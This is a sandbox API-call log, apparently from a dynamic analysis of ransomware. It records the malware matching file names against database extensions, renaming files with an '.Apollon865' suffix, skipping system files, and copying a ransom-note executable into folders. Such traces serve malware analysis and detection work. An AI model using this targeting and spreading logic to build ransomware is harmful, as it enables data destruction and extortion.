	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="adb") returned -1
	[0062.840] lstrlenW (lpString="ade") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="ade") returned -1
	[0062.840] lstrlenW (lpString="adf") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="adf") returned -1
	[0062.840] lstrlenW (lpString="adn") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="adn") returned -1
	[0062.840] lstrlenW (lpString="adp") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="adp") returned -1
	[0062.840] lstrlenW (lpString="alf") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="alf") returned -1
	[0062.840] lstrlenW (lpString="ask") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="ask") returned -1
	[0062.840] lstrlenW (lpString="btr") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="btr") returned -1
	[0062.840] lstrlenW (lpString="cat") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="cat") returned -1
	[0062.840] lstrlenW (lpString="cdb") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="cdb") returned -1
	[0062.840] lstrlenW (lpString="ckp") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="ckp") returned -1
	[0062.840] lstrlenW (lpString="cma") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="cma") returned -1
	[0062.840] lstrlenW (lpString="cpd") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="cpd") returned -1
	[0062.840] lstrlenW (lpString="dacpac") returned 6
	[0062.840] lstrcmpiW (lpString1="ink[1]", lpString2="dacpac") returned 1
	[0062.840] lstrlenW (lpString="dad") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="dad") returned -1
	[0062.840] lstrlenW (lpString="dadiagrams") returned 10
	[0062.840] lstrlenW (lpString="daschema") returned 8
	[0062.841] lstrcmpiW (lpString1="wlink[1]", lpString2="daschema") returned 1
	[0062.841] lstrlenW (lpString="db-journal") returned 10
	[0062.841] lstrlenW (lpString="db-shm") returned 6
	[0062.841] lstrcmpiW (lpString1="ink[1]", lpString2="db-shm") returned 1
	[0062.841] lstrlenW (lpString="db-wal") returned 6
	[0062.841] lstrcmpiW (lpString1="ink[1]", lpString2="db-wal") returned 1
	[0062.841] lstrlenW (lpString="dbc") returned 3
	[0062.841] lstrcmpiW (lpString1="[1]", lpString2="dbc") returned -1
	[0062.841] lstrlenW (lpString="dbs") returned 3
	[0062.841] lstrcmpiW (lpString1="[1]", lpString2="dbs") returned -1
	[0062.841] lstrlenW (lpString="dbt") returned 3
	[0062.841] lstrcmpiW (lpString1="[1]", lpString2="dbt") returned -1
	[0062.841] lstrlenW (lpString="dbv") returned 3
	[0062.841] lstrcmpiW (lpString1="[1]", lpString2="dbv") returned -1
	[0062.841] lstrlenW (lpString="dbx") returned 3
	[0062.841] lstrcmpiW (lpString1="[1]", lpString2="dbx") returned -1
	[0062.841] lstrlenW (lpString="dcb") returned 3
	[0062.841] lstrcmpiW (lpString1="[1]", lpString2="dcb") returned -1
	[0062.841] lstrlenW (lpString="dct") returned 3
	[0062.841] lstrcmpiW (lpString1="[1]", lpString2="dct") returned -1
	[0062.841] lstrlenW (lpString="dcx") returned 3
	[0062.841] lstrcmpiW (lpString1="[1]", lpString2="dcx") returned -1
	[0062.841] lstrlenW (lpString="ddl") returned 3
	[0062.841] lstrcmpiW (lpString1="[1]", lpString2="ddl") returned -1
	[0062.841] lstrlenW (lpString="dlis") returned 4
	[0062.841] lstrcmpiW (lpString1="k[1]", lpString2="dlis") returned 1
	[0062.841] lstrlenW (lpString="dp1") returned 3
	[0062.841] lstrcmpiW (lpString1="[1]", lpString2="dp1") returned -1
	[0062.841] lstrlenW (lpString="dqy") returned 3
	[0062.841] lstrcmpiW (lpString1="[1]", lpString2="dqy") returned -1
	[0062.841] lstrlenW (lpString="dsk") returned 3
	[0062.841] lstrcmpiW (lpString1="[1]", lpString2="dsk") returned -1
	[0062.841] lstrlenW (lpString="dsn") returned 3
	[0062.842] lstrcmpiW (lpString1="[1]", lpString2="dsn") returned -1
	[0062.842] lstrlenW (lpString="dtsx") returned 4
	[0062.842] lstrcmpiW (lpString1="k[1]", lpString2="dtsx") returned 1
	[0062.842] lstrlenW (lpString="dxl") returned 3
	[0062.842] lstrcmpiW (lpString1="[1]", lpString2="dxl") returned -1
	[0062.842] lstrlenW (lpString="eco") returned 3
	[0062.842] lstrcmpiW (lpString1="[1]", lpString2="eco") returned -1
	[0062.842] lstrlenW (lpString="ecx") returned 3
	[0062.842] lstrcmpiW (lpString1="[1]", lpString2="ecx") returned -1
	[0062.842] lstrlenW (lpString="edb") returned 3
	[0062.842] lstrcmpiW (lpString1="[1]", lpString2="edb") returned -1
	[0062.842] lstrlenW (lpString="epim") returned 4
	[0062.842] lstrcmpiW (lpString1="k[1]", lpString2="epim") returned 1
	[0062.842] lstrlenW (lpString="fcd") returned 3
	[0062.842] lstrcmpiW (lpString1="[1]", lpString2="fcd") returned -1
	[0062.842] lstrlenW (lpString="fdb") returned 3
	[0062.842] lstrcmpiW (lpString1="[1]", lpString2="fdb") returned -1
	[0062.842] lstrlenW (lpString="fic") returned 3
	[0062.842] lstrcmpiW (lpString1="[1]", lpString2="fic") returned -1
	[0062.842] lstrlenW (lpString="flexolibrary") returned 12
	[0062.842] lstrlenW (lpString="fm5") returned 3
	[0062.842] lstrcmpiW (lpString1="[1]", lpString2="fm5") returned -1
	[0062.842] lstrlenW (lpString="fmp") returned 3
	[0062.842] lstrcmpiW (lpString1="[1]", lpString2="fmp") returned -1
	[0062.842] lstrlenW (lpString="fmp12") returned 5
	[0062.842] lstrcmpiW (lpString1="nk[1]", lpString2="fmp12") returned 1
	[0062.842] lstrlenW (lpString="fmpsl") returned 5
	[0062.842] lstrcmpiW (lpString1="nk[1]", lpString2="fmpsl") returned 1
	[0062.842] lstrlenW (lpString="fol") returned 3
	[0062.842] lstrcmpiW (lpString1="[1]", lpString2="fol") returned -1
	[0062.842] lstrlenW (lpString="fp3") returned 3
	[0062.842] lstrcmpiW (lpString1="[1]", lpString2="fp3") returned -1
	[0062.842] lstrlenW (lpString="fp4") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="fp4") returned -1
	[0062.843] lstrlenW (lpString="fp5") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="fp5") returned -1
	[0062.843] lstrlenW (lpString="fp7") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="fp7") returned -1
	[0062.843] lstrlenW (lpString="fpt") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="fpt") returned -1
	[0062.843] lstrlenW (lpString="frm") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="frm") returned -1
	[0062.843] lstrlenW (lpString="gdb") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="gdb") returned -1
	[0062.843] lstrlenW (lpString="gdb") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="gdb") returned -1
	[0062.843] lstrlenW (lpString="grdb") returned 4
	[0062.843] lstrcmpiW (lpString1="k[1]", lpString2="grdb") returned 1
	[0062.843] lstrlenW (lpString="gwi") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="gwi") returned -1
	[0062.843] lstrlenW (lpString="hdb") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="hdb") returned -1
	[0062.843] lstrlenW (lpString="his") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="his") returned -1
	[0062.843] lstrlenW (lpString="ib") returned 2
	[0062.843] lstrcmpiW (lpString1="1]", lpString2="ib") returned -1
	[0062.843] lstrlenW (lpString="idb") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="idb") returned -1
	[0062.843] lstrlenW (lpString="ihx") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="ihx") returned -1
	[0062.843] lstrlenW (lpString="itdb") returned 4
	[0062.843] lstrcmpiW (lpString1="k[1]", lpString2="itdb") returned 1
	[0062.843] lstrlenW (lpString="itw") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="itw") returned -1
	[0062.843] lstrlenW (lpString="jet") returned 3
	[0062.843] lstrcmpiW (lpString1="[1]", lpString2="jet") returned -1
	[0062.843] lstrlenW (lpString="jtx") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="jtx") returned -1
	[0062.844] lstrlenW (lpString="kdb") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="kdb") returned -1
	[0062.844] lstrlenW (lpString="kexi") returned 4
	[0062.844] lstrcmpiW (lpString1="k[1]", lpString2="kexi") returned -1
	[0062.844] lstrlenW (lpString="kexic") returned 5
	[0062.844] lstrcmpiW (lpString1="nk[1]", lpString2="kexic") returned 1
	[0062.844] lstrlenW (lpString="kexis") returned 5
	[0062.844] lstrcmpiW (lpString1="nk[1]", lpString2="kexis") returned 1
	[0062.844] lstrlenW (lpString="lgc") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="lgc") returned -1
	[0062.844] lstrlenW (lpString="lwx") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="lwx") returned -1
	[0062.844] lstrlenW (lpString="maf") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="maf") returned -1
	[0062.844] lstrlenW (lpString="maq") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="maq") returned -1
	[0062.844] lstrlenW (lpString="mar") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="mar") returned -1
	[0062.844] lstrlenW (lpString="marshal") returned 7
	[0062.844] lstrcmpiW (lpString1="link[1]", lpString2="marshal") returned -1
	[0062.844] lstrlenW (lpString="mas") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="mas") returned -1
	[0062.844] lstrlenW (lpString="mav") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="mav") returned -1
	[0062.844] lstrlenW (lpString="maw") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="maw") returned -1
	[0062.844] lstrlenW (lpString="mdbhtml") returned 7
	[0062.844] lstrcmpiW (lpString1="link[1]", lpString2="mdbhtml") returned -1
	[0062.844] lstrlenW (lpString="mdn") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="mdn") returned -1
	[0062.844] lstrlenW (lpString="mdt") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="mdt") returned -1
	[0062.844] lstrlenW (lpString="mfd") returned 3
	[0062.844] lstrcmpiW (lpString1="[1]", lpString2="mfd") returned -1
	[0062.845] lstrlenW (lpString="mpd") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="mpd") returned -1
	[0062.845] lstrlenW (lpString="mrg") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="mrg") returned -1
	[0062.845] lstrlenW (lpString="mud") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="mud") returned -1
	[0062.845] lstrlenW (lpString="mwb") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="mwb") returned -1
	[0062.845] lstrlenW (lpString="myd") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="myd") returned -1
	[0062.845] lstrlenW (lpString="ndf") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="ndf") returned -1
	[0062.845] lstrlenW (lpString="nnt") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="nnt") returned -1
	[0062.845] lstrlenW (lpString="nrmlib") returned 6
	[0062.845] lstrcmpiW (lpString1="ink[1]", lpString2="nrmlib") returned -1
	[0062.845] lstrlenW (lpString="ns2") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="ns2") returned -1
	[0062.845] lstrlenW (lpString="ns3") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="ns3") returned -1
	[0062.845] lstrlenW (lpString="ns4") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="ns4") returned -1
	[0062.845] lstrlenW (lpString="nsf") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="nsf") returned -1
	[0062.845] lstrlenW (lpString="nv") returned 2
	[0062.845] lstrcmpiW (lpString1="1]", lpString2="nv") returned -1
	[0062.845] lstrlenW (lpString="nv2") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="nv2") returned -1
	[0062.845] lstrlenW (lpString="nwdb") returned 4
	[0062.845] lstrcmpiW (lpString1="k[1]", lpString2="nwdb") returned -1
	[0062.845] lstrlenW (lpString="nyf") returned 3
	[0062.845] lstrcmpiW (lpString1="[1]", lpString2="nyf") returned -1
	[0062.846] lstrlenW (lpString="odb") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="odb") returned -1
	[0062.846] lstrlenW (lpString="odb") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="odb") returned -1
	[0062.846] lstrlenW (lpString="oqy") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="oqy") returned -1
	[0062.846] lstrlenW (lpString="ora") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="ora") returned -1
	[0062.846] lstrlenW (lpString="orx") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="orx") returned -1
	[0062.846] lstrlenW (lpString="owc") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="owc") returned -1
	[0062.846] lstrlenW (lpString="p96") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="p96") returned -1
	[0062.846] lstrlenW (lpString="p97") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="p97") returned -1
	[0062.846] lstrlenW (lpString="pan") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="pan") returned -1
	[0062.846] lstrlenW (lpString="pdb") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="pdb") returned -1
	[0062.846] lstrlenW (lpString="pdm") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="pdm") returned -1
	[0062.846] lstrlenW (lpString="pnz") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="pnz") returned -1
	[0062.846] lstrlenW (lpString="qry") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="qry") returned -1
	[0062.846] lstrlenW (lpString="qvd") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="qvd") returned -1
	[0062.846] lstrlenW (lpString="rbf") returned 3
	[0062.846] lstrcmpiW (lpString1="[1]", lpString2="rbf") returned -1
	[0062.846] lstrlenW (lpString="rctd") returned 4
	[0062.846] lstrcmpiW (lpString1="k[1]", lpString2="rctd") returned -1
	[0062.846] lstrlenW (lpString="rod") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="rod") returned -1
	[0062.847] lstrlenW (lpString="rodx") returned 4
	[0062.847] lstrcmpiW (lpString1="k[1]", lpString2="rodx") returned -1
	[0062.847] lstrlenW (lpString="rpd") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="rpd") returned -1
	[0062.847] lstrlenW (lpString="rsd") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="rsd") returned -1
	[0062.847] lstrlenW (lpString="sas7bdat") returned 8
	[0062.847] lstrcmpiW (lpString1="wlink[1]", lpString2="sas7bdat") returned 1
	[0062.847] lstrlenW (lpString="sbf") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="sbf") returned -1
	[0062.847] lstrlenW (lpString="scx") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="scx") returned -1
	[0062.847] lstrlenW (lpString="sdb") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="sdb") returned -1
	[0062.847] lstrlenW (lpString="sdc") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="sdc") returned -1
	[0062.847] lstrlenW (lpString="sdf") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="sdf") returned -1
	[0062.847] lstrlenW (lpString="sis") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="sis") returned -1
	[0062.847] lstrlenW (lpString="spq") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="spq") returned -1
	[0062.847] lstrlenW (lpString="te") returned 2
	[0062.847] lstrcmpiW (lpString1="1]", lpString2="te") returned -1
	[0062.847] lstrlenW (lpString="teacher") returned 7
	[0062.847] lstrcmpiW (lpString1="link[1]", lpString2="teacher") returned -1
	[0062.847] lstrlenW (lpString="tmd") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="tmd") returned -1
	[0062.847] lstrlenW (lpString="tps") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="tps") returned -1
	[0062.847] lstrlenW (lpString="trc") returned 3
	[0062.847] lstrcmpiW (lpString1="[1]", lpString2="trc") returned -1
	[0062.847] lstrlenW (lpString="trc") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="trc") returned -1
	[0062.848] lstrlenW (lpString="trm") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="trm") returned -1
	[0062.848] lstrlenW (lpString="udb") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="udb") returned -1
	[0062.848] lstrlenW (lpString="udl") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="udl") returned -1
	[0062.848] lstrlenW (lpString="usr") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="usr") returned -1
	[0062.848] lstrlenW (lpString="v12") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="v12") returned -1
	[0062.848] lstrlenW (lpString="vis") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="vis") returned -1
	[0062.848] lstrlenW (lpString="vpd") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="vpd") returned -1
	[0062.848] lstrlenW (lpString="vvv") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="vvv") returned -1
	[0062.848] lstrlenW (lpString="wdb") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="wdb") returned -1
	[0062.848] lstrlenW (lpString="wmdb") returned 4
	[0062.848] lstrcmpiW (lpString1="k[1]", lpString2="wmdb") returned -1
	[0062.848] lstrlenW (lpString="wrk") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="wrk") returned -1
	[0062.848] lstrlenW (lpString="xdb") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="xdb") returned -1
	[0062.848] lstrlenW (lpString="xld") returned 3
	[0062.848] lstrcmpiW (lpString1="[1]", lpString2="xld") returned -1
	[0062.848] lstrlenW (lpString="xmlff") returned 5
	[0062.848] lstrcmpiW (lpString1="nk[1]", lpString2="xmlff") returned -1
	[0062.848] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1].Apollon865") returned 82
	[0062.848] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1].Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1].apollon865"), dwFlags=0x1) returned 1
	[0062.849] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1].Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1].apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0062.849] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=0) returned 1
	[0062.849] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0062.849] CloseHandle (hObject=0x0) returned 0
	[0062.849] CloseHandle (hObject=0x118) returned 1
	[0062.849] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2345f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.849] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.849] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2345f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.850] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.850] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a50
	[0062.850] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7"
	[0062.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0062.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0062.850] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned 61
	[0062.850] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7"
	[0062.850] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.850] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0062.850] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0062.850] GetLastError () returned 0x0
	[0062.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0062.850] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0062.851] CloseHandle (hObject=0x15c) returned 1
	[0062.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0062.851] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.851] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f25a750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.851] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.851] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.851] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.851] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f25a750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.851] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.851] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.851] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.851] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.851] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0062.851] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.851] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0062.851] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0062.851] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0062.851] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0062.851] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0062.851] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0062.851] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0062.851] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0062.851] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0062.851] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0062.852] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0062.852] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0062.852] lstrlenW (lpString="desktop.ini") returned 11
	[0062.852] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*") returned 63
	[0062.852] lstrcpyW (in: lpString1=0x119e684, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0062.852] lstrlenW (lpString="desktop.ini") returned 11
	[0062.852] lstrlenW (lpString="Apollon865") returned 10
	[0062.852] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0062.852] lstrlenW (lpString=".dll") returned 4
	[0062.852] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0062.852] lstrlenW (lpString=".lnk") returned 4
